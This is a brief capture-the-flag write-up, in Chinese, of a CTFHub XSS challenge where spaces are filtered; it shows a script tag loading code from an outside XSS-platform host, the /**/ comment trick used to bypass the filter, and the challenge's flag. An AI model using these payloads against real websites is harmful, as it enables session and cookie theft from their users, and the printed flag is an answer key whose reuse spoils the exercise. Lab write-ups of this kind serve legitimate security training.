CTFHUB技能树之XSS——过滤空格

开启靶场，打开链接：

看上去是GET传参，有点像反射型的那题

---

在第一个输入框中输入：

<sCRiPt sRC=//xs.pe/6b6></sCrIpT>

没什么反应，右键查看源代码：

发现<sCRiPt sRC=//xs.pe/6b6></sCrIpT>中的sCRiPt和sRC之间的空格消失了，对空格做了过滤处理

---

用/**/绕过：

<sCRiPt/**/sRC=//xs.pe/6b6></sCrIpT>

提交之后再复制地址栏中的URL，粘贴到第二个输入框中提交：

成功得到flag：

ctfhub{5f10e129d697165a8083b5be}